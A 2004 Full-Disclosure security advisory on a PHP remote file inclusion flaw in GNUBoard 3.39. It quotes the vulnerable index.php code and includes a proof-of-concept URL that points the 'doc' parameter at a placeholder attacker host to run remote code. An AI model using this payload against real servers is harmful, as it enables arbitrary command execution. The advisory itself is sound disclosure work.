[Full-Disclosure] STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection vulnerability

From: SSR Team (advisory_at_stgsecurity.com)
Date: 12/15/04

  • Next message: Valdis.Kletnieks_at_vt.edu: "Re: [Full-Disclosure] TCP Port 42 port scans? What the heck over..."
    To: <vuln@secunia.com>, <news@securiteam.com>, <bugs@securitytracker.com>, <full-disclosure@lists.netsys.com>, <staff@packetstormsecurity.com>
    Date: Wed, 15 Dec 2004 19:30:28 +0900
    
    

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection
    vulnerability.

    Revision 1.0
    Date Published: 2004-12-14 (KST)
    Last Update: 2004-12-14
    Disclosed by SSR Team (advisory@stgsecurity.com)

    Summary
    ========
    GNUBoard is one of widely used web BBS applications in Korea. Because of an
    input validation flaw, a malicious attack can run arbitrary commands with
    the privilege of the HTTPD process, which is typically run as the nobody
    user.

    Vulnerability Class
    ===================
    Implementation Error: Input validation flaw

    Impact
    ======
    High : arbitrary command execution.

    Affected Products
    ================
    GNUBoard 3.39 and prior versions
    php.ini : register_globals = On

    Vendor Status: FIXED
    ====================
    2004-12-06 Vulnerability found.
    2004-12-06 GNUBoard developer notified.
    2004-12-06 GNUBoard 3.40 is released.
    2004-12-14 Official release.

    Details
    =======
    For improper verification of input value of the parameter, the "doc"
    parameter in "index.php" can be exploited to include arbitrary files of
    external or local resources to execute arbitary commands.

    index.php
    - - ----
    if (!$doc) { (1) <-- check point
        $doc = './main.php';
    }

    // php ??? ??? ??? ? ??
    $tmp = explode(".", $doc);
    $extension = $tmp[count($tmp)-1];
    if (!preg_match("/^(php[3]?|[p]?htm[l]?)$/i", $extension) || count($tmp)<=1)
    {
        echo "php php3 htm html phtml ??? ??? ? ????.";
        exit;
    }
    ......
    ob_start();
    include $doc; (2) <-- include point
    - - ----

    Proof of concept :
    http://[victim]/gnu3/index.php?doc=http://[attacker]/[attack].php

    Solution
    =========
    Update to 3.40
    http://sir.co.kr/?doc=bbs/gnuboard.php&bo_table=pds&page=1&wr_id=1871

    Vendor URL
    ==========
    http://www.sir.co.kr/

    Credits
    ======
    Jeremy Bae at STG Security

    -----BEGIN PGP SIGNATURE-----
    Version: PGP 8.0

    iQA/AwUBQcAR6j9dVHd/hpsuEQJapACg1dVMXa7JIQE106S6zHRa/CoXM1YAoKwz
    Eay4eAl41ONg1Db1HI4ZRdqY
    =7l/U
    -----END PGP SIGNATURE-----

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html


  • Next message: Valdis.Kletnieks_at_vt.edu: "Re: [Full-Disclosure] TCP Port 42 port scans? What the heck over..."

    Relevant Pages